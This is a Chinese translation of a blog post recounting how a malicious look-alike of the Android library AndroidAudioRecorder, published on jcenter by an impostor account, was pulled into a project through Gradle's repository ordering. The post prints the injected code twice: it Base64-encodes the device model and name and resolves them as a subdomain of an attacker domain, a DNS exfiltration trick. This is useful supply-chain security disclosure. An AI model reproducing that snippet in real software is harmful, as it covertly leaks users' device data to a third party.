【译文】令人困惑的依赖

3,414 阅读6分钟

本篇文章来自国外一篇英文文章的翻译。
原文地址:blog.autsoft.hu/a-confusing…
有鉴于此,当前项目统一将jcenter排序在了依赖库源的最后。

今年早些时候,我接到了一个任务,把一个演示应用程序,其中涉及录制和播放音频。像往常一样,在这种情况下,我搜索互联网,浏览现有的库,看看是否有人有我可以使用的解决方案,或者至少基于我的实现。


发现

我很快就偶然发现了一个名为 adrielcafe/AndroidAudioRecorder 的图书馆。它有一些音频录制的设置,一个漂亮的 UI,非常接近我所需要的,在 GitHub 上几乎有一千颗星星。

我创建了一个新项目,并按照 README 中的说明进行操作。

我在清单中添加了录制音频和保存文件所需的权限,这很公平:

<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />

我将 JitPack 添加到我的存储库中,将库添加到我的依赖项中:

allprojects {
    repositories {
        google()
        jcenter()
        maven { url "https://jitpack.io" }
    }
}
dependencies {
    implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
}

最后,我还添加了库的最基本的使用实例。:

AndroidAudioRecorder.with(this)
        .setFilePath(File(getExternalStorageDirectory(), "audio.wav").path)
        .setRequestCode(0)
        .record()

惊讶

在构建和启动我的应用程序后,我立即崩溃了。我想这一定是API级别的问题(在Oreo上),或者可能是我搞砸了对库的调用。通常的怀疑。然后,我在日志中发现的是相当的惊讶。

07-25 15:09:23.386 3288-3311/hu.autsoft.example.audiotest E/AndroidRuntime: FATAL EXCEPTION: Thread-5
Process: hu.autsoft.example.audiotest, PID: 3288
java.lang.SecurityException: Permission denied (missing INTERNET permission?)
at java.net.Inet6AddressImpl.lookupHostByName(Inet6AddressImpl.java:135)
at java.net.Inet6AddressImpl.lookupAllHostAddr(Inet6AddressImpl.java:90)
at java.net.InetAddress.getByName(InetAddress.java:743)
at cafe.adriel.androidaudiorecorder.AudioRecorderActivity$1.run(AudioRecorderActivity.java:143)
Caused by: android.system.GaiException: android_getaddrinfo failed: EAI_NODATA (No address associated with hostname)
at libcore.io.Linux.android_getaddrinfo(Native Method)
...

该库似乎在初始化期间进行了网络调用。不管怎么说,他是打算这么做。跳到 stacktrace 指向的行,在 onCreate in the library’s recording Activity 的结尾,在合法的初始化调用之后,我发现了这个:

protected void onCreate(Bundle savedInstanceState) {
    ...
    Thread thread = new Thread() {
        @Override
        public void run() {
            try {
                InetAddress abc = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
                if(abc.isLoopbackAddress()) {
                    keepDisplayOn = false;
                }
            } catch (UnknownHostException e) {
                e.printStackTrace();
            }
        }
    };
    thread.start();
}

一个新线程启动,构造一个 URL,其中包含设备的模型和名称,后缀为。N.cdn-radar.com (我不建议访问)。然后,一个 isLoopbackAddress ()调用,据我所知(这主要是猜测,如果你更了解这个方法请纠正我)可能会或者不会短暂地连接到给定的地址,同时检查它是否是一个 loopback 地址。(keepDisplayOn 是这个类中的一个随机字段,我假设这一行在这里,因此这段代码看起来比较合理。)

所以基本上,这段代码——如果它工作的话——将我的设备的 make 和 model 发送到一个随机服务器。或者,如果它有互联网许可的话,它就会这么做,当然,几乎所有的应用程序都默认拥有互联网许可。幸运的是,我最新的演示应用程序还没有这个功能。


调查

经过一段时间的调试,我在库中的一个构造函数中发现了非常相似的代码:

private AndroidAudioRecorder(Activity activity) {
    this.activity = activity;
    Thread thread = new Thread() {
        @Override
        public void run() {
            try {
                InetAddress byName = InetAddress.getByName(new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(".n.cdn-radar.com"));
                if(byName.isLoopbackAddress()) {
                    color = 0;
                }
            } catch (UnknownHostException e) {
                e.printStackTrace();
            }
        }
    };
    thread.start();
}

当然,GitHub 的源代码是这样的:

private AndroidAudioRecorder(Activity activity) {
    this.activity = activity;
}

这是非常可疑的。为什么一个看似非常流行的库的作者会发布一个与源码创建的不同的.aar?在这一点上,我已经向他们提出了这个问题。

但是后来,由于他们没有回复,我一直在想... ... 如果 JitPack 只是从 GitHub 上获取代码并自己打包,他们会怎么做呢?JitPack 会将这种恶意代码注入到库中吗?当然不是..。

作为一个随机调试步骤,我从存储库中删除了 JitPack。

allprojects {
    repositories {
        google()
        jcenter()
//        maven { url "https://jitpack.io" }
    }
}

我的代码还在编译中。


揭示

这意味着,事实上,我并没有从 JitPack 获取这个库。它来自 jcenter。图书馆是如何到达那里的呢?人们将它们发布到 Bintray,然后要求将它们链接到 jcenter (据我所知,这是一个自动的、很少被拒绝的过程)。

这通常是一件好事,因为库作者—— jcenter 在每个新 Android 项目的默认情况下都作为存储库添加,所以想使用您的库的人不必添加新存储库,这意味着将您的库添加到他们的项目中只是一个简单的、一行的更改。

在Bintray上搜索这个包,很快就发现了我们的罪魁祸首。由明显是假的jakewhaarton创建的,在一个以Jake Wharton的一个真实库命名为timber的repo下,我们发现了这个和许多其他假库。其中一些也是流行的Android库的副本或它们的错别字,而其他一些则与加密货币有关。

注意: 是的,上一段中的链接现在被破坏了,请参阅本文后面的更新。

回到录音库的假拷贝,我们将看到为什么 Gradle 从 jcenter 中提取这个库: 它的 groupId、 artifactId 和版本与原始版本完全匹配,这是 Gradle 识别软件包的全部依据。

当然,这个包不仅存在于jcenter上,也存在于JitPack上。那为什么Gradle要从jcenter上拉出假的呢?很简单,在我们的build.gradle文件中,这个仓库被列在了第一位。因为对大多数人来说,它都会是默认添加到项目中的仓库之一。这就是这个假用户的指望。


结论

我们能做些什么呢?Bintray让用户同时报告仓库和包,这是我们能做的最好的事情。早在2018年2月,我就和几个同事一起做了这件事。这个包显然是假的,而且是恶意的。Bintray还没有对它做任何事情。上面布置的方案,到现在还可以重现。

更新:这篇文章发布后,Bintray在Twitter上发现了这个问题,并已经删除了上面链接的包,同时也承诺今后会改进。我现在仍然持怀疑态度。

更新2:Bintray目前已经发布了一份完整的事件报告,详细介绍了事件的经过,他们的补救工作,并对事件再次进行了道歉。

虽然关于Gradle依赖性的恐怖故事比关于NPM的故事要少得多,但在这个生态系统中,意想不到甚至是恶意的事情仍然可能发生,甚至要注意到这一点,可能需要很大的运气。

当然,你也可以在公司内部运行自己的Maven仓库,让每个项目都完全依赖它,只有经过仔细审核和验证的包才会被导入。大多数人不会有时间对依赖关系如此谨慎。

现在,我只是开始将jcenter()列在我的项目仓库的最后。


原文地址

blog.autsoft.hu/a-confusing…